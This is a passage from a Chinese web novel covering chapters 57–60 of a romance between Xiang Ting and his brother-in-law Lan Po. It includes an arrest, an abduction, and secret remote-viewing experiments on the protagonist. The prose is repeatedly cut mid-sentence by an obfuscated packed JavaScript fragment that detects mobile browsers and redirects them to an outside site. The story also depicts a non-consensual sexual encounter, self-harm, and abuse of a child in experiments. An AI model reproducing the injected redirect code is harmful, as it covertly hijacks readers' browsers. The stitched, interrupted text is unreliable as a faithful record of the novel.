RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398243|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >项廷说:“你男的女的关我什么事,我把你当宝贝来疼就行了。” “你这么疼宝贝的?” “我刚刚气上头了,我真不是故意的,气氛烘托到那了。” 蓝珀佩服他来去自如的心理状态:“知道了,你是奔我命来的。” 项廷搂紧了,没留一丝缝隙,一直瞧着他,越看越喜欢。 蓝珀受不了了:“我真是你姐夫。” “你爱是不是。”项廷原本红通通的脸,又红了一个色度,“管他妈的!” “fair enough.”蓝珀状似投降。 “你真是同性恋。”蓝珀挡住他的嘴,看着他的眼睛,“但我不是恋/童癖。” “你说我小?!” “我没这么说,但你的确挺卡哇伊。”蓝珀笑道,“姐夫人老珠黄了,但是眼光已经高到飞起,堪比珠峰之顶。对于小孩子,我呢,只有心梗没有心动。” 空气寂若死灰。 这时珊珊打起帘子,送了果盘后便走了。 “干嘛突然摆臭脸?”蓝珀若无其事,“哎呀,人来人往的,不会给人看到了吧?对了,这个女孩子你哪里认识的?” 项廷说:“小丫头片子,不用管她。” “你也才多大,就叫人家啊丫头片子,挺亲热的啊?” “她发现我勾引她妈,不打不相识。”珊珊就是老板娘秦凤英的女儿。项廷心情很糟糕,用词十分不当。 蓝珀听着,就像项廷情迷少妇早有前科似的,笑道:“所以你才不想当我的小舅子,一心只想当我的小老公?” 项廷:“小字给我去了。” 蓝珀再笑了笑就忍住了,说:“好了,不说这些伤感情的话了,你吃点东西吧。” 可项廷刚拿起叉子,蓝珀便说:“第一口都不喂我,还想当我的老公。” 不是刚打击完自信心?项廷回望了他一眼,蓝珀就拉着他的手,搁到了自己的小腹上:“肚子笑疼了,帮我揉揉。” 蓝珀剥了一根粗粗的香蕉,凑到项廷嘴唇那儿,顶了顶:“张嘴,咪/咪虾条。” 项廷忍得头皮都紧绷了冒烟了,也没有像之前那样意气用事,他的冲动有时效性。 这下是连看也不看蓝珀了,项廷转过头去:“咱两到底谁怕谁。” 蓝珀却近了近,手缠上了他的肩膀,绰绰约约地那么一推,柳夭桃艳地坐了上去。 项廷简直不敢动,蓝珀面对面抱着他的脖子坐在他的大腿上,这是梦里才有的画面,只是梦里后面蓝珀会相当风骚地慢慢脱掉衣服,其实不脱也一样,蓝珀经常不经意无意识之间就挺骚的了。 而现在,项廷只感觉他是个美艳无双的特工,庆幸自己的脖子没有被扭断当场。 项廷手不知往哪放:“我真没怕过别人。” 蓝珀把他的手主动往后牵,让他搂自己腰。色色宜人,轻言细语,离了魂的倩女似的:“只是坐上来又不是坐进去,小气。” “你想干嘛?” “小舅子强吻姐夫,你没错吗?你很对吗?多了不说,你需要跟我道个歉。” “你这样我道不了。” “那换个方式,也不是不行。”蓝珀想了想,“你到台上给我唱一首歌。咦,可是你现在讲话好像好哑,我好怕你嗓子突然坏掉。” 项廷说:“我弹吉他。” “真好,”蓝珀拍拍他的脸,“原来狮子座的男孩这么好,是我以前误会狮子座了。” 项廷要站起来,蓝珀自然下去,但是项廷俯身又压住了他。以为项廷要说什么,你这样好看让我再看一会的话,项廷说的却是:“等会你先转过去,看到你我紧张。” 后半夜,店里的客人逐渐多了起来,却像是填补着黑暗的紫色人偶,越来越多空杯子的回声如同不复返的浪涛,烟雾的黏稠让每个人都丧失边界,混为一谈。抱着吉他的项廷,只能看到远处的沙发上,蓝珀指间几支纸烟的反复无常的明灭。 曲终他回到蓝珀身边。只见蓝珀手里夹着他的手机,他还特地点亮了一下屏幕,屏上赫然是瓦克恩的号码。 项廷当然知道姐夫要干什么。 无非是告诉瓦克恩,找个不显眼的人把自己做了,把他像摁一只蚂蚁那样在曼哈顿摁死,死无葬身之地。坐大腿是美人计,催他上去弹吉他是调虎离山,蓝珀就是图他的手机而已。 项廷唯一关心的是:“凭什么你记住他号码?” 蓝珀怜爱他到了这个地步还要吃飞醋,也就做做慈善地安慰他:“看你通话记录的。” 项廷说:“哦,那随你。” 无所谓,本来他一个男人就不可能靠蓝珀养活。大丈夫生财有道,这条财路断了就断了,此处不留爷,自有留爷处。 “我是背不下来瓦克恩的号码,”蓝珀盈盈欲笑,“那911呢?” 爱情有时候真什么都算不上,上一秒缠缠绵绵,下一秒手起刀落。 猝然之间所有的音乐和欢笑被割断,一群警察冲了进来。 蓝珀觉得此人没救了,就报了警。跟他当初处理英美两位追求者的方式,如出一辙。 三名警察终于制服项廷的时候,只见蓝珀俯视圆形竞技场的尼禄皇帝一样坐在那里,大仇已得报,些些疏懒又何妨:“看吧,断头饭,吃下去,肚子可是要痛的。” 助理诚惶诚恐救驾来迟,手托国玺似的奉上漱口水和洁牙粉。 “趁着死之前,还想再放纵一把?小弟弟,我是绝不可能跟死人玩这些的。”蓝珀坐姿如此端逸,但用酒精湿巾狂擦嘴巴,怎么擦也擦不够。 蓝珀起身,把手中的纸巾碾成一团。项廷眼睁睁看他离去,血冲到脑子里去。他这是看到蓝珀砸个纸球都轮不到自己头上来了。 57. 电行半空如狂矢 项廷三进宫,坐上警车,宾至如归。警车车速嚣张,每一次急弯,就有一种贴墙飘移的感觉,可若是真英雄怎会畏惧,天上电闪,此乃雷公助我。项廷平时一年不见抽半支烟的,但问警察借烟借火,一来二去三个半弯拐过,不知怎么给他发展起了深厚的战友情。 蓝珀接起一个陌生号码,里面竟然又传来项廷这个崽种的声音。蓝珀隔着无线电就被脏到了耳朵一样,项廷还没说话,蓝珀先扭过头一阵干咳。 项廷说:“这我问人借的手机,你记得我的号码,对吧?” “……怎样?”蓝珀的调子依旧拿得很住。 “有事情就打给我,没事情也尽管打。可以吗?” “这关心来得正是时候,你真是我的开心果。”蓝珀不想爆发二轮争吵,但退一步越想越气,“你在耍什么男子汉派头?说得好像我才是犯人?” “我是犯人。” 项廷的语气里却没有半分后悔的色彩。 他抱着吉他上场的时候,就猜到了这个结局。原先设想的还比这个更惨烈些,想着自己一走蓝珀就会从角落里召唤出一群大汉,头给他捏爆。 蓝珀对他恶劣才是常态,蓝珀对他好那叫奶嘴战略。项廷比谁都清楚。但也许是他抵御诱惑的上限还摸不到姐夫媚功蛊术的下限,蓝珀曼哈顿妲己,项廷也就甘愿为他变成一瓶开了瓶的二锅头,冲劲十足地走向灭亡;又也许是项廷自愿领的罚,毕竟强/奸以后又强吻他,项廷清楚地感觉到,蓝珀明明被吻到没法吸气儿了,却气得像一个越蒸越发的胖胖馒头,强烈的战栗从他压在项廷肩头的双手上一阵又一阵地传到项廷脑海里。人生左不过一场厮杀,项廷于是便浑身是胆地丢下了手机,一人做事一人当。 故打这个电话,项廷是为了说:“上回舞会,有个小孩找你合照,一张照片掉了,我怕别人捡到……” 蓝珀随之笑了:“所以你先捡了?” 说的是乐佩公主那次,听着很像个不甚高明的威胁,像狗仔说要公开女明星艳照。 “那么,你的心动价是多少?”蓝珀一副轻蔑又超然物外的态度。 “我不是那个意思。”项廷连忙解释,“我放在一个密封的信封里,我会托人寄给你,你收到了不要怕。” “你这么细心为我兜底,默默地帮了我大忙,真像个大事小事都要管一管的小老婆呢。这么体贴的举动,为什么不早点让我知道?我可以给你一个甜甜的谢意哦。” 项廷好会儿才说:“我怕你说我变态。” “小变态,是不是在期待我找你算账?这么大胆的挑衅,我就笑纳了。” “反正你这种穿法别有下次了。”项廷不是有心补充的,“别穿着出门。” “你先担心自己怎么出警察局的门吧。”蓝珀最后这个笑有点过于释放了,然后突兀地温柔地说,“乖乖的,把手机还给人家警察叔叔。” 项廷把照片的事交代完,心就安了,蓝珀说的他就照做了。 蓝珀无非是告诉警察不必手软。警察局也不过是一个资本运作的局,项廷看这帮平时牛逼哄哄的美国条/子,一见到真金白银那股牛气就消失了。多金的生活大概很有乐趣,蓝珀就像这样以无罪定死罪,为所欲为地操纵一条活生生的人命。 但是项廷又数得出来,蓝珀跟警察指代自己的时候,说了两次he,三个bastard,jerk若干,最后一句话他让这帮人把自己大卸八块的时候,蓝珀丝雨如烟般地轻笑,那个词他用的是,my boy。 蓝珀行行好,最后让项廷听了电话。蓝珀说:“姐夫呢,小日子好得飞起来,现在要出门当女人了,你可以瞑目了。” 那头是高跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398244|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鞋似的踢踢嗒嗒地发出声响。 电话一断,坐在项廷两侧一左一右的警察如临大敌,拿出了猛男的架势。只因看到犯人瞬间绷得硬直的嘴部线条,里面紧咬着的上下牙随时要咬断手铐一样。 快到警局了,天边的雷声又殷殷发作。项廷这会儿已经成功换了座位,一个人占了整个警车的第三排,大大落落地躺下来伸直了双腿。 仰头看到闪电,想到他和蓝珀的关系也可笑。他们俩那次不清不楚地有了那么一回事,就像两道闪电,一下子撞在一起,然后一下子就没了。 如果一道雷现在打下来把他劈死就好了,当身体死去时,烦人的欲望也消弭了,但蔷薇色的爱情依然坚/挺。和世界上最美丽的人相处片刻以后,超过半小时没看到他都难受,蓝珀的香味太争抢了。 而且为什么总有种直觉,他对蓝珀去来无迹的迷恋,其起源久远程度可以追溯到人神共存时代了? 他猛然意识到自己化成了灰,怕也做姐姐的这个小三做定了。戴着手铐动作受限,但最终还是拿到了一个靠枕绝望地盖在了脸上。副驾驶的警察在喝小酒,问他要不要来一口。 项廷与世隔绝,似乎睡了一小段路。可车子急剧晃动了几下,便停在了马路中央。 项廷从一片非同寻常的寂静中睁开了双眼,却没有立刻直起身体。车内弥漫着铁锈的气味,鞋子几乎瞬间就被粘稠的液体淹没。 一行小队半路劫了法场,警车的双重硬化钢玻璃成了摆设。 项廷有那么一瞬间生出疑影,这是不是与他交好的泰国黑/帮?可是下一秒罩在头上的黑布就一盆冷水教他清醒,来者是敌不是友。 至此他命运的轨迹已然彻底变道。黑暗中他感到一张张期待的脸从四面八方凑过来,为首的那个说—— “又见面了,小蜘蛛侠。” 58. 花魂成片怕风妒 后颈受了沉重的一击后,项廷没有立刻昏过去,可紧接着乙/醚就扑鼻而来。 项廷苏醒时,刺痛感立即侵袭了他的眼球。 他在水里。 将近零度的水流包围着眼球,仿佛被囚禁在无尽的冰海里,一层浓雾笼罩着眼前的一切。光线散射不规则,四周的景象或被拉长或压缩,像是在观看一幅旧照片。 四周身穿白大褂的人们只是模糊的影子,仿佛一些潜伏在深海中的怪物,他们的声音在水下回响,空洞而恐怖。 项廷只睁了最多三秒钟的眼睛,他甚至还保持着肌肉放松、身体漂浮的状态,就像胎儿在羊水中一样自然。 于是谁也没发现他醒了。 他的眼睛紧闭,耳朵却异常灵敏。他可以隐约听到这帮人的交谈声,甚至他们记录数据的声音。 大约分得出是一男一女。 女:“这就是你们十年前在中国选中的孩子?” 男:“是的。现在他是世界上最后一个‘坐标遥视者’。” 女:“但你们会淹死他。” 男:“请不要担心,这只是一个剥夺感官功能的水箱,呼吸液正通过鼻饲管的方式供给。” 女:“可哪怕你将一只刚刚出生的动物一直饲养在黑暗环境中,视觉剥夺就会显著增加多感觉抑制反应特性的神经元的数量。感觉信息的输入对于前外侧颞沟皮层多感觉神经元的正常发育有着至关重要的作用。” 男:“对,这位被试者小时候我们就做过类似实验。当他被单独放在一个空荡荡的完全黑暗、极其狭小的房间里……” 女打断:“你不如直接说笼子。” 男:“我们用的设备是一个黑匣子,高度和宽度足够被试者蜷缩着。” 女:“人不人鬼不鬼的样子。” 男:“总之,没有任何外界刺激,没有感官输入,这样他就与世界脱节了,他的认知系统彻底瘫痪了。时间一长,他开始出现各种幻觉,就像飞行员长途飞行时会看到挡风玻璃上有大蜘蛛。” 女不忍:“他当时只是个孩子吧?美苏之间原来不是冷战,是第三次世界大战,因为你们这根本是给战犯洗脑的方法。” 男遗憾:“可也正是政治因素的干预,第二阶段的实验中止了。半途而废的试验品就成了我们一直以来的心结,上帝保佑,他长大后竟来了美国。我听说他现在非常健康,是个意气风发的小英雄。” 女:“可总有后遗症吧?” 男:“只是肌肉萎缩,与一些偶尔的健忘。” 岂止是偶尔的健忘?苗疆的过去已经变成了他心中的一片荒漠,一切都被无情的风蚀抹去。不但如此,每当旭日初升,项廷都觉得自己踏进了一个崭新的世界,昨日的记忆如晨雾随阳光消散,家门口的几条熟悉的胡同变成了无尽的迷宫。如此深度的失忆症不只是锁住了他的过去,似乎也盗走了他的未来。青少年时期的他经常对自己和这个世界失望透顶,什么也抓不住,人生意义尽失,他渐渐发现暴力成了唯一能让他感受到存在、对抗虚无的方式。常常想赶紧黑洞变成白洞世界也跟着快快爆炸吧。 在这寒冷逼仄的水中,项廷的愤怒却很快达到了沸点。他的手指逐渐握紧,直到手心感到指甲刺入肉里。但这种痛感反而让他感觉到一丝真实,一种存活的证明。 研究员调整着控制台上的旋钮和滑块,精准地改变着水流的强度和方向。水流重新定义了重力,推动项廷的身体不由自主地翻转。项廷已经被换上了一件短袖的病号服,方便观察。 女:“他的手臂上为什么有针孔,有吸毒史?” 男:“那是上一次他进了警察局,我们给他注射了诱/导剂和稳定剂,试图激活他的遥视能力,以及他大脑中那些未被充分利用的区域。” 女:“还有这些痕迹……纹身?” 男:“身上的记号是对力量的毁灭或召唤。” 研究员翻了几张希伯来语的书页,继续操作着指挥台。水中一个类似火箭推进器的装置,把一顶看起来就非常智慧的头盔安装在了项廷的头上。 男:“遥视者006,我是你的监视官。” 水下点点斑斑的光像是深渊里的磷火,实验室中的空气顿时充满了静电一般,研究人员们屏息凝视。 女笑道:“真的把人淹死了。” 男:“怎么可能?我们的装置甚至保护他在水下说话。也许乙/醚的剂量过大了。这很正常,在任何遥视练习之前,一定要有一段冷静的时间。” 项廷一直不醒来,男研究员便试着唤起他的记忆:“遥视是一种用精神能量去感知事物的超感官手段。我们曾经共同假设了一个非物质的‘矩阵’,把它想象为一个巨大的三维几何排列的点,每个点代表一个离散的信息位。在这个矩阵中,关于任何人、地点或事物的信息通过假设的‘信号线’获得。信号线以许多不同的频率辐射,它对遥视者感知能力的影响通过一种称为‘光圈’的现象来控制……” 女再次打断:“你不需要向他透露这么多细节。五角大楼的高级研究计划局已经正式叫停了这个项目。你们现在将他带来,完全是触犯联邦法律的个人行为。” 男:“你可能还没有完全意识到他的珍贵性……” 女:“我确实不懂你们舍近求远,难道美国的孩子不够多吗?” 男:“苏联的大国沙文主义在作祟,正在掌控中国成为苏联的卫星国,中国的孩子就更具有迷惑性了不是吗?” 女:“对于戈尔巴乔夫来说,的确像一幅讽刺漫画。” 男:“这个孩子的天赋无与伦比。从前,当我在第一阶段做了扭转金属、预测骰子滚动的实验,第一次检测到信号线时,信号能量的急剧、快速流入——代表超过百分之八十准确率信息的大格式塔……” 女:“目前为止,他的最好实绩是?” 男:“006可以预测隔壁房间的频闪灯什么时候打开。” 女:“噗。” 男:“他的学习曲线完美得惊人,从人类物质意识的角度来看,这简直是意识的最高状态。” 女:“但是十年过去了,再强大的天赋也只能让他走到这一步了。” 男:“你要相信,可能有极高级生物操控着我们的世界,甚至整个太阳系和银河系。但他们只对少数几个出类拔萃的人显现自己的存在。二十年前苏联已经成立了二十余个超常现象研究所,投入高达三千万美元研究特异功能。那时,苏联的遥视者能影响小麦种子,让水果更多汁,花卉开放更久。如果他们能做到,我们星门的科学家当然也能。强大的遥视者对情报活动至关重要,这是绝对不争的事实。恕我直言,我真不明白你为什么一直对我们的成果持有这么大的怀疑态度……” 女笑道:“可能是因为1972年冷战的巅峰时期,由美国军方提供编制、五角大楼牵头、中央情报局投资的你们上两个流产的大火项目分别是开发‘超空间核榴弹炮’、‘时间弯曲反导弹系统’?第一个,将美国内华达沙漠中的一次核爆能量用心-机接口脑控送到克里姆林宫门口,一锅端掉苏联的领导层,比联邦快递还快;第二个,穿越北极将苏联本土罩住,然后让苏联射向美国的导弹进入‘时间隧道’,去轰炸侏罗纪那些活泼可爱的小恐龙……说不定还能加速一下物种灭绝呢,不知道咱们是在搞国防还是在重写地球历史。大家的想法总是特别前卫,哈……对不起,可是这些项目总能让人笑出声来,不是吗?” 男:“苏联制造了光子势垒调制器和超空间放大器,他们的情报机构克格勃已经通过环线天线‘感应’大洋深处的美军潜艇以及燃料加注基地。现在他们能用意念杀死一只青蛙,如果再有特异功能者可以控制电子计算机,那就无异于掌握了核垄断,中情局怎么能不如芒在背?” 女:“那你们得加倍努力了,毕竟人在冷的地方思维特别清晰。看来苏联的冷空气是他们的秘密武器啊,冻出来的都是高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398245|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 智商,我们是不是也该试试虐待中国儿童的同时坐着冰块,给脑子加加速?” 两人虽然是多年的同事,理念对立得却如同两极。争论如同实验室中不断加热的反应器,双方的语气都在逐渐升温。男研究员挥动手臂,激动地阐述他的观点,一个手势击中了台上的器材,引起了一阵碰撞声,给人的感觉就像快爆发肢体冲突了似的。 就在这时,一个意想不到的声音切断了他们的争吵——被试者突然开口了。 从水箱的方向传来低沉而清晰的声音:“I see。” 争论戛然而止,两人同时转向水箱。 男:“你看到什么了?对,就是这样,你可以控制心灵漫游,无论你想去哪里获取信息都没有限制。唯一的限制是你的描述能力……” 项廷仍闭着眼,不再说话。 男研究员走向水箱,他意识到他可能正站在一项重大科学发现的边缘,每走一步都可以听到自己的心跳声。他抚摸着水箱的玻璃,以一种近乎深情的口吻呼唤着他的实验品。 只觉得这堪称奇迹,006睁开双眸时就像苏醒在夜光森林中的一匹狼王,浸泡各种高精尖机械的钢铁般的水,如同他周身环绕的黑色闪电。 但就在下一瞬,一切都被颠覆了。 项廷用肘部猛击水箱最脆弱的接缝和视窗,血雾瞬间弥漫,随着一声震撼心扉的巨响,碎玻璃子弹般横飞泼向在座的所有人,水和项廷一同涌向自由。 警报声响遍了整个研究所,项廷捞起一惊倒地的男研究员,人质在手,顺利穿越一道道自动关闭的重装安全门。 冲出研究所,项廷劫持了一辆车。丢下人质,开出这片区域,弃车逃亡,此时刚刚跑出几公里,停下来站在树下休息了一会,手臂流下的血又在地下已汇聚了一滩。 项廷注意到角落里有几个大腹园蛛聚居的小灌木,他蹲下来快速把蜘蛛网收集起来,用一些干净的树叶和细藤条固定在伤口上敷贴,简单的止血之后,把上衣脱了拧干包扎手臂。 然后他又开始不要命地跑。 去向哪里呢,他无处可去,却也只有一个去处。 人在水下怎么可能爆发出那么强的力量,即便是服过海军役的项廷,一个肘击破坏军方自重几百公斤的实验水箱,那他也可以直接去奥林匹斯参选新一代海神了。 他说I see,那帮科学家就相信了他有千里眼,可是他那一刻忽然想起的是很近很近的事情。 就是蓝珀在酒吧喝酒的时候,他讲话慢吞吞的,他说话笑盈盈的,他的身段软软的一捏里面全是汁水,散发着肉/欲的气息。然后他拿杯子那个手的姿势,有些古意,一小节腕骨如同一枝细脆的白珊瑚,闪烁出玉光。白茫茫的雾气在轻轻地流荡着,雾里看南国名花,可别人瞧着很优雅,项廷眼里很吓人。 因为珊珊也是差不多的手势。家庭的问题,她自残过,从此就使不上力了。 被美国人当小白鼠又怎样,项廷自信世上无物可以伤害自己,杀不死他他只会更强大,求多来杀他。他差不多明白他们在搞什么了,这帮人在用科学的手段搞玄学,还美苏冷战要他一个中国人当间谍?精神特工又是什么扯淡的玩意,感觉看相算命都比这个靠谱,不如气功。但是男研究员那个口吻,好像没了006号人族再无大帝一样,项廷听着,难说一点不爽。所以他不但分毫不怕,还有些兴奋。可要是告诉他蓝珀会偷偷自残,哪怕只是揪下来几根头发,那恐怖程度就无异于把项廷放到大摆锤上转二十个圈。 故而全然只是因为这一个空对空的联想,项廷就掏空了这辈子的肾上腺素,也要实践一把他的英雄主义,九死亦不移。 漂白粉似的月光照在纽约的大街小巷,项廷终于来到姐夫家的楼下时,只听一辆车传来个声音,叫他的名字。项廷认出来这是姐姐大学里的同事,一块来美国访学的。同事说,你姐姐已经到美国了,有点事耽搁了。这是她的行李,你能帮我提上去不? 59. 有艳淑女在闺房 蓝珀从浴室出来,还没吹干头发,先往脑门上拍了一张退热贴。门铃响了,锲而不舍。走过去,凑近猫眼瞅一下,啪叽一声,退热贴掉地上了。 这究竟是什么生物,难杀成这样?还是说项廷在警察局尸被鞭出了魂,上门索命来了?想看一下他手上有没有持械,可是白希利在他家门外静坐道歉(示威)的这一个月,为了保护隐私白希利屡次破坏猫眼,导致蓝珀现在的视野很是镜花水月。于是项廷更像鬼了。 蓝珀防御性十足地抱着胳膊,吸了一大口气:“……你这么厚的脸皮要是去卖保险,客户肯定无处可逃,买到破产。” 项廷什么也没说。 “人话也不会说了?你告诉我人类进化的时候你躲哪去了?”蓝珀扔下这么一句,然后走回厨房,小心翼翼剥了一个完美的水煮蛋,又拿起一颗冰湃好的水蜜桃,很挑挑剔剔地将薄皮剥去。 走回来,看一眼,不错,人还在,就在那一味痴等似的。 从项廷的沉默中,蓝珀茫然地感受到自己的心居然有些不安,便又开了口:“你快躲起来,收垃圾的来了。” “我姐来了,”项廷这才说,“行李我拎上来了。” “放那。” “放了。” “……那就别挡着门了,你不走我怎么敢开?” “我不走,”项廷说,“我也不进来。” 项廷本来因为天选之子006号的身份正暗爽,再伟大的英雄他的加冕时刻又能有几次,然而他是单枪匹马通关美国军方研究所,可谓一出牢笼便吞天,天下大势环球风云尽在吾辈掌中,我当生两翅,捕逐出八荒!然而想到蓝珀,一切大变了天。自古英雄的软肋都是美人,拿住了陈圆圆,吴三桂便一怒打开了国门。由此推彼,若是那□□了蓝珀,自己是不是也要被逼作了美苏冷战的棋子,保不齐成为绝代汉奸,落得个无君无父无家无国的下场,连累整个家族也要被人戳脊梁骨,背上千古骂名了。但又想也许到不了那个地步,因为蓝珀碰碰就碎了,一不小心玉碎珠沉,只抛与一缕香魂的,能做什么一日半日的人质么?如此一想更是可怕,危机没有解除之前,项廷只想离他越远越好。但一见不着蓝珀,想到蓝珀的时候那简直就是名画马拉之死。珊珊当时就是割了腕被项廷发现,再晚一步送医,一个花季少女说没就没了。 项廷倒也不能说,蓝珀,你保证你没有自残过没有严重的自毁倾向吧,你对天发个誓我就走了。而且他直觉蓝珀这个人特别爱应激,你肯定不能直说你觉得他有病,这样他只会犯大病,你得在无形之中感化他,润物无声。可项廷现在未了的宿债在身,又不敢与他走得近,生怕自己的阴影也覆盖到他的身上。所以进退维谷的他就成了蓝珀眼里这个死样子。 蓝珀哪能意会这个,感觉上是项廷虽然越了狱,但是改造好了。蓝珀不可思议:“你真不要我给你开门?” “不要。”项廷斩钉截铁。 “……不要就不要!好话不说第二遍。” 蓝珀双手抱胸转过身去,又走了,去阳台给每一株植物都浇了慷慨的水。清凉的春夜里,蓝珀却觉得暑气郁结,不停地扇着团扇。 少女等了男孩如此多年,白兔捣药秋又复春,想着他千般咒、百岁盟,半星无,有多少期待自然就有多少期待落空生出来的怨怼。当项廷问出仰阿莎哪国人那句话的时候,蓝珀正式盖章迄今所有的期待已经腐烂到面目全非,他终于下定决心和过去的自己一刀两断,修不好的船那就让他早点沉,男孩的那个身份从此不再是项廷的免死金牌。可若真的互不拖欠了,就在这满满几垄水喝得饱饱的花花草草当中,速朽的又其实只有蓝珀自己。 梅开三度,蓝珀又折回了玄关去。 “喂。” “啊。” “你没有死吧?” “你不出门吗?” 项廷把蓝珀问住了,差点忘记了扯过什么谎话。蓝珀顿了一下才说:“对,一会儿,你就能见到我女人的一面。” “哦。” “哦?这声‘哦’是什么意思?” “随你便吧。” “随我便?你突然就随我便了?” 听着项廷越来越冠冕堂皇的语言,蓝珀大为光火。豪言壮语要同自己生死相随的人,警察局走了一遭,这就陌路了?还知进退了?这才多大的考验啊! 项廷依然恬淡道:“你这么漂亮,做男做女都精彩。” 蓝珀急匆匆地说:“我什么也不做,我做饭呢。” “你做饭?”项廷由衷地问,“能吃吗?” 众所周知,蓝珀做饭就是隔水蒸一切贵的东西,有一种凤凰做大盘鸡的逆天。所有食材统一轮胎的质感,一口下去满嘴的橡胶味。而且洗手的时间至少是烹饪的双倍,要是炸东西,蓝珀就像个放炮仗的小孩,油锅未热,他早已逃之夭夭。因此项廷问他能吃吗,一方面是质疑味道;另一方面的意思是,吃得上吗?猴年马月呢。 蓝珀笑道:“你以为这么调侃我的厨艺,我就会让你进门大显身手吗?” “你想多了。” “…臭小子,你装什么傻?” “傻都不会装,那我不更傻了。” 家门口有几个纸箱,项廷找了个空的睡进去,头靠着另一个。身体摆个大字,双手交叉搁在肚子上,闭目养神。隔着一扇门,花香也飘溢,令项廷心跳更急。可现在是什么局势,一将无谋,累死千军;一帅无谋,挫丧万师。男人,必须要有定力。 于是猫眼里就丢失了目标,蓝珀不由地问:“警察是不是打你了?” “不关你事。” “打没打?打哪了?” “只有你能打吗?” “…我看打的就是你脑子。打得好,太好了,建议就定今天纪念日,每年的今天全国连带加拿大放假七天!” 蓝珀已经开始胡言乱语了。这时炉子噗噗响了,桌上一碗苏式细面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398246|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一碟玫瑰醋,蓝珀却气得失去胃口,上床,关灯,睡觉!失败,眼睛半闭从睫毛缝隙里居然看到项廷的那个狗头,起床,止不住到处找东西吃。 外头的项廷,把纸箱睡塌了。纸箱没有封装好,漏出一角,只见那里是一大包彩虹泡泡沐浴球浴花、云朵浴巾、星星浴帽、无火香熏、留香珠,等等。蓝珀是当之无愧的泡澡大师,他酷爱收集这些,这些就是他从浴室里出不来的原因。从前他视若珍宝的爱物,如今竟像等人来收废品一样打包扔了,项廷只能解读为蓝珀当真生无可恋了。 项廷拍门的劲头,快把门板拍成古时候衙门门前的那口大鼓了。 “蓝珀!开门!蓝珀!” 蓝珀说:“别拿姐夫开玩笑了。刚刚呢,我说被子我给你暖好了快点来睡,姐夫难受死了,姐夫要男人,找能干一夜的哥哥。啊呀,我给的脸不多,可我确实给了。你呢,非得横一横。” “对不起!”项廷大喊,“我对不起你!” 如果蓝珀自残过,那就代表这个世界对他的恶意本就不小。在这种情形下,自己还对他做了那么畜生的事,项廷愣愣地想,高潮的时候他还说姐夫你好好,蓝珀当时含着满目的清泪,问他,什么好好,哪里好好,那句话如今想来是那么样地透骨酸心。结果自己答了什么呢?项廷说,你好好操。真的聚万国九州之铁,也铸不成此一个大错了! “蓝珀,你开下门,算我求你。” “干嘛?” “我就看看你。” “不给哦。” 蓝珀拖鞋在地毯滑了两下,作出脚步离开的声音,其实一直盯着猫眼。突然一团影子窜上来,项廷也扒着猫眼呢。 蓝珀一慌:“你还看你还看!” “我不看了,那你还好吗?” “我好着呢。”蓝珀忽然觉得他的嗓音哪里透着莫名其妙,“项廷?你…你哭了?” “…没。” 项廷声音低微,蓝珀却觉得心里一个巨浪打来。那一刻他几乎马上就拉开门了,像盗贼一样把项廷拽进来。自己用尽推到了门外的人,终究回到家来,一切如旧,唯有自叹倒霉。可这样才对呀,坦率接受了命运的安排,反倒应该放松愉快起来。但是蓝珀深知这小孩现在学得又精又坏,真的好坏,说不定门一开他张着嘴就啃上来,自己就只能无力地咬一下舌头了。 蓝珀说:“让你进来,这不是明摆着引狼入室?” 项廷说:“不是。” “不是什么?” “不是。” “到底哪不是了?” 项廷沉默,蓝珀没见过他沉默成这样子,前所未有。 一个心直口快的人居然变得这样磨叽,蓝珀烦得要死:“你给我听着,眼泪多不代表演技好,知道么,我从来只上我愿意上的当。” “蓝珀,开门。” “我说了,引狼入室!” “不是狼。”项廷说,“我是狗。” 60. 宝香熏透蔷薇水 就好像早背过台词、打好腹稿似的,可项廷是真的没想到自己会一口气说出这种话。三个字无疑是吐出来的三枚钢钉,创伤了他不可一世的自尊。 “你是什么?” 蓝珀接连问了两次,第一次真没听清,第二次假没听清。 但是项廷被屈辱扼住了喉咙,即便是坐上了忏悔椅的他,也绝不可能再说一遍了。 蓝珀打开门的瞬间,猛一下差点没被送走。项廷半人半兽地扑上来,通红的眼睛感觉燃着青黑色的火,身体蒸腾而起的热量喷发几乎顷刻就融化了蓝珀。 